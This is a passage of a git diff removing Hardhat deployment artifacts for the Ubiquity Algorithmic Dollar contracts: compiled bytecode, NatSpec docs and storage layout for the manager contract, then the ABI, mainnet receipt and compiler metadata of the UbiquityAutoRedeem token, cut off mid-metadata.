05180830381600087803b15801561138b57600080fd5b505af115801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c39190611fcc565b600880546001600160a01b0319166001600160a01b03838116919091179091556040516370a0823160e01b8152306004820152919250600091908616906370a082319060240160206040518083038186803b15801561142157600080fd5b505afa158015611435573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611459919061219c565b6003546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a082319060240160206040518083038186803b1580156114a257600080fd5b505afa1580156114b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114da919061219c565b90506114f16001600160a01b0387168460006119e4565b6115056001600160a01b03871684846119e4565b60035461151d906001600160a01b03168460006119e4565b600354611534906001600160a01b031684836119e4565b60035460405163c661065760e01b8152600060048201526001600160a01b039182169185169063c66106579060240160206040518083038186803b15801561157b57600080fd5b505afa15801561158f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b39190611fcc565b6001600160a01b031614801561164c575060405163c661065760e01b8152600160048201526001600160a01b03808816919085169063c66106579060240160206040518083038186803b15801561160957600080fd5b505afa15801561161d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116419190611fcc565b6001600160a01b0316145b6116985760405162461bcd60e51b815260206004820152601b60248201527f7541444d47523a20434f494e5f4f524445525f4d49534d415443480000000000604482015260640161086b565b60408051808201918290526003546370a0823160e01b90925230604482015260009181906001600160a01b03166370a082316064830160206040518083038186803b1580156116e657600080fd5b505afa1580156116fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171e919061219c565b81526040516370a0823160e01b81523060048201526020909101906001600160a01b038a16906370a082319060240160206040518083038186803b15801561176557600080fd5b505afa158015611779573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179d919061219c565b9052600980546001600160a01b0319166001600160a01b038a81169190911790915560405163030f92d560e21b8152919250851690630c3e4b54906117eb90849060009033906004016122d0565b602060405180830381600087803b15801561180557600080fd5b505af1158015611819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183d919061219c565b50505050505050505050565b6000828152602081815260408083206001600160a01b038516845290915290205460ff16610a4257611885816001600160a01b03166014611b46565b611890836020611b46565b6040516020016118a19291906121fc565b60408051601f198184030181529082905262461bcd60e51b825261086b91600401612318565b6000828152602081815260408083206001600160a01b038516845290915290205460ff16610a42576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556119213390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152602081815260408083206001600160a01b038516845290915290205460ff1615610a42576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b801580611a6d5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015611a3357600080fd5b505afa158015611a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6b919061219c565b155b611adf5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e636500000000000000000000606482015260840161086b565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663095ea7b360e01b1790526109b5908490611d3c565b60606000611b55836002612343565b611b6090600261232b565b67ffffffffffffffff811115611b8657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611bb0576020820181803683370190505b509050600360fc1b81600081518110611bd957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611c1657634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000611c3a846002612343565b611c4590600161232b565b90505b6001811115611ce6577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110611c9457634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110611cb857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93611cdf81612392565b9050611c48565b508315611d355760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161086b565b9392505050565b6000611d91826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611e219092919063ffffffff16565b8051909150156109b55780806020019051810190611daf919061207a565b6109b55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f74207375636365656400000000000000000000000000000000000000000000606482015260840161086b565b6060611e308484600085611e38565b949350505050565b606082471015611eb05760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c0000000000000000000000000000000000000000000000000000606482015260840161086b565b843b611efe5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161086b565b600080866001600160a01b03168587604051611f1a91906121e0565b60006040518083038185875af1925050503d8060008114611f57576040519150601f19603f3d011682016040523d82523d6000602084013e611f5c565b606091505b5091509150611f6c828286611f77565b979650505050505050565b60608315611f86575081611d35565b825115611f965782518084602001fd5b8160405162461bcd60e51b815260040161086b9190612318565b600060208284031215611fc1578081fd5b8135611d35816123d5565b600060208284031215611fdd578081fd5b8151611d35816123d5565b60008060408385031215611ffa578081fd5b8235612005816123d5565b91506020830135612015816123d5565b809150509250929050565b600080600080600060a08688031215612037578081fd5b8535612042816123d5565b94506020860135612052816123d5565b93506040860135612062816123d5565b94979396509394606081013594506080013592915050565b60006020828403121561208b578081fd5b81518015158114611d35578182fd5b6000602082840312156120ab578081fd5b5035919050565b600080604083850312156120c4578182fd5b823591506020830135612015816123d5565b6000602082840312156120e7578081fd5b81356001600160e01b031981168114611d35578182fd5b60006020828403121561210f578081fd5b815167ffffffffffffffff80821115612126578283fd5b818401915084601f830112612139578283fd5b81518181111561214b5761214b6123bf565b604051601f8201601f19908116603f01168101908382118183101715612173576121736123bf565b8160405282815287602084870101111561218b578586fd5b611f6c836020830160208801612362565b6000602082840312156121ad578081fd5b5051919050565b600081518084526121cc816020860160208601612362565b601f01601f19169290920160200192915050565b600082516121f2818460208701612362565b9190910192915050565b60007f416363657373436f6e74726f6c3a206163636f756e742000000000000000000082528351612234816017850160208801612362565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351612271816028840160208801612362565b01602801949350505050565b60006001600160a01b03808916835260c060208401526122a060c08401896121b4565b83810360408501526122b281896121b4565b91909616606084015260808301949094525060a00152949350505050565b60808101818560005b60028110156122f85781518352602092830192909101906001016122d9565b5050508360408301526001600160a01b0383166060830152949350505050565b600060208252611d3560208301846121b4565b6000821982111561233e5761233e6123a9565b500190565b600081600019048311821515161561235d5761235d6123a9565b500290565b60005b8381101561237d578181015183820152602001612365565b8381111561238c576000848401525b50505050565b6000816123a1576123a16123a9565b506000190190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146123ea57600080fd5b5056fe7541444d47523a2043616c6c6572206973206e6f742061646d696e0000000000ad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5a164736f6c6343000803000a", - "devdoc": { - "details": "This should be used as a central access control manager which other contracts use to check permissions", - "kind": "dev", - "methods": { - "deployStableSwapPool(address,address,address,uint256,uint256)": { - "details": "From the curve documentation for uncollateralized algorithmic stablecoins amplification should be 5-10", - "params": { - "_amplificationCoefficient": "amplification coefficient. The smaller it is the closer to a constant product we are.", - "_crv3PoolTokenAddress": "curve 3Pool token Address", - "_crvBasePool": "Address of the base pool to use within the new metapool.", - "_curveFactory": "MetaPool factory address", - "_fee": "Trade fee, given as an integer with 1e10 precision." - } - }, - "getRoleAdmin(bytes32)": { - "details": "Returns the admin role that controls `role`. See {grantRole} and {revokeRole}. To change a role's admin, use {_setRoleAdmin}." - }, - "grantRole(bytes32,address)": { - "details": "Grants `role` to `account`. If `account` had not been already granted `role`, emits a {RoleGranted} event. Requirements: - the caller must have ``role``'s admin role." - }, - "hasRole(bytes32,address)": { - "details": "Returns `true` if `account` has been granted `role`." - }, - "renounceRole(bytes32,address)": { - "details": "Revokes `role` from the calling account. Roles are often managed via {grantRole} and {revokeRole}: this function's purpose is to provide a mechanism for accounts to lose their privileges if they are compromised (such as when a trusted device is misplaced). If the calling account had been granted `role`, emits a {RoleRevoked} event. Requirements: - the caller must be `account`." - }, - "revokeRole(bytes32,address)": { - "details": "Revokes `role` from `account`. If `account` had been granted `role`, emits a {RoleRevoked} event. Requirements: - the caller must have ``role``'s admin role." - }, - "setBondingContractAddress(address)": { - "details": "bonding contract participants deposit curve LP token for a certain duration to earn uGOV and more curve LP token", - "params": { - "_bondingContractAddress": "bonding contract address" - } - }, - "setTreasuryAddress(address)": { - "details": "the treasury fund is used to maintain the protocol", - "params": { - "_treasuryAddress": "treasury fund address" - } - }, - "supportsInterface(bytes4)": { - "details": "See {IERC165-supportsInterface}." - } - }, - "title": "A central config for the uAD system. Also acts as a central access control manager.", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "deployStableSwapPool(address,address,address,uint256,uint256)": { - "notice": "deploy a new Curve metapools for uAD Token uAD/3Pool" - }, - "setBondingContractAddress(address)": { - "notice": "set the bonding bontract smart contract address" - }, - "setTreasuryAddress(address)": { - "notice": "set the treasury address" - } - }, - "notice": "For storing constants. For storing variables and allowing them to be changed by the admin (governance)", - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 62, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "_roles", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_bytes32,t_struct(RoleData)57_storage)" - }, - { - "astId": 9812, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "twapOracleAddress", - "offset": 0, - "slot": "1", - "type": "t_address" - }, - { - "astId": 9814, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "debtCouponAddress", - "offset": 0, - "slot": "2", - "type": "t_address" - }, - { - "astId": 9816, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "dollarTokenAddress", - "offset": 0, - "slot": "3", - "type": "t_address" - }, - { - "astId": 9818, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "couponCalculatorAddress", - "offset": 0, - "slot": "4", - "type": "t_address" - }, - { - "astId": 9820, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "dollarMintingCalculatorAddress", - "offset": 0, - "slot": "5", - "type": "t_address" - }, - { - "astId": 9822, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "bondingShareAddress", - "offset": 0, - "slot": "6", - "type": "t_address" - }, - { - "astId": 9824, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "bondingContractAddress", - "offset": 0, - "slot": "7", - "type": "t_address" - }, - { - "astId": 9826, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "stableSwapMetaPoolAddress", - "offset": 0, - "slot": "8", - "type": "t_address" - }, - { - "astId": 9828, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "curve3PoolTokenAddress", - "offset": 0, - "slot": "9", - "type": "t_address" - }, - { - "astId": 9830, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "treasuryAddress", - "offset": 0, - "slot": "10", - "type": "t_address" - }, - { - "astId": 9832, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "governanceTokenAddress", - "offset": 0, - "slot": "11", - "type": "t_address" - }, - { - "astId": 9834, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "sushiSwapPoolAddress", - "offset": 0, - "slot": "12", - "type": "t_address" - }, - { - "astId": 9836, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "masterChefAddress", - "offset": 0, - "slot": "13", - "type": "t_address" - }, - { - "astId": 9838, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "formulasAddress", - "offset": 0, - "slot": "14", - "type": "t_address" - }, - { - "astId": 9840, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "autoRedeemTokenAddress", - "offset": 0, - "slot": "15", - "type": "t_address" - }, - { - "astId": 9842, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "uarCalculatorAddress", - "offset": 0, - "slot": "16", - "type": "t_address" - }, - { - "astId": 9846, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "_excessDollarDistributors", - "offset": 0, - "slot": "17", - "type": "t_mapping(t_address,t_address)" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_bytes32": { - "encoding": "inplace", - "label": "bytes32", - "numberOfBytes": "32" - }, - "t_mapping(t_address,t_address)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => address)", - "numberOfBytes": "32", - "value": "t_address" - }, - "t_mapping(t_address,t_bool)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => bool)", - "numberOfBytes": "32", - "value": "t_bool" - }, - "t_mapping(t_bytes32,t_struct(RoleData)57_storage)": { - "encoding": "mapping", - "key": "t_bytes32", - "label": "mapping(bytes32 => struct AccessControl.RoleData)", - "numberOfBytes": "32", - "value": "t_struct(RoleData)57_storage" - }, - "t_struct(RoleData)57_storage": { - "encoding": "inplace", - "label": "struct AccessControl.RoleData", - "members": [ - { - "astId": 54, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "members", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_address,t_bool)" - }, - { - "astId": 56, - "contract": "contracts/UbiquityAlgorithmicDollarManager.sol:UbiquityAlgorithmicDollarManager", - "label": "adminRole", - "offset": 0, - "slot": "1", - "type": "t_bytes32" - } - ], - "numberOfBytes": "64" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/UbiquityAutoRedeem.json b/packages/contracts/dollar/deployments/mainnet/UbiquityAutoRedeem.json deleted file mode 100644 index 5c4782635..000000000 --- a/packages/contracts/dollar/deployments/mainnet/UbiquityAutoRedeem.json +++ /dev/null @@ -1,832 +0,0 @@ -{ - "address": "0x5894cFEbFdEdBe61d01F20140f41c5c49AedAe97", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_burned", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Burning", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_minter", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Minting", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "DOMAIN_SEPARATOR", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PERMIT_TYPEHASH", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "decimals", - "outputs": [ - { - "internalType": "uint8", - "name": "", - "type": "uint8" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "addedValue", - "type": "uint256" - } - ], - "name": "increaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "nonces", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "deadline", - "type": "uint256" - }, - { - "internalType": "uint8", - "name": "v", - "type": "uint8" - }, - { - "internalType": "bytes32", - "name": "r", - "type": "bytes32" - }, - { - "internalType": "bytes32", - "name": "s", - "type": "bytes32" - } - ], - "name": "permit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "raiseCapital", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newName", - "type": "string" - } - ], - "name": "setName", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newSymbol", - "type": "string" - } - ], - "name": "setSymbol", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transfer", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0xf4ed6ed8c96a542735a4d0d94bca2b8f3fed8d978095f713005f7a12d8f46bf1", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x5894cFEbFdEdBe61d01F20140f41c5c49AedAe97", - "transactionIndex": 117, - "gasUsed": "1892105", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x902b4ab8ea91c8ef15bbf70efa199e0b980b6a015b06b62402437d3c4e35458b", - "transactionHash": "0xf4ed6ed8c96a542735a4d0d94bca2b8f3fed8d978095f713005f7a12d8f46bf1", - "logs": [], - "blockNumber": 12595462, - "cumulativeGasUsed": "5458881", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_burned\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Burning\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_minter\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Minting\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Paused\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Unpaused\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"DOMAIN_SEPARATOR\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"PERMIT_TYPEHASH\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burnFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"mint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"nonces\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"paused\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"},{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"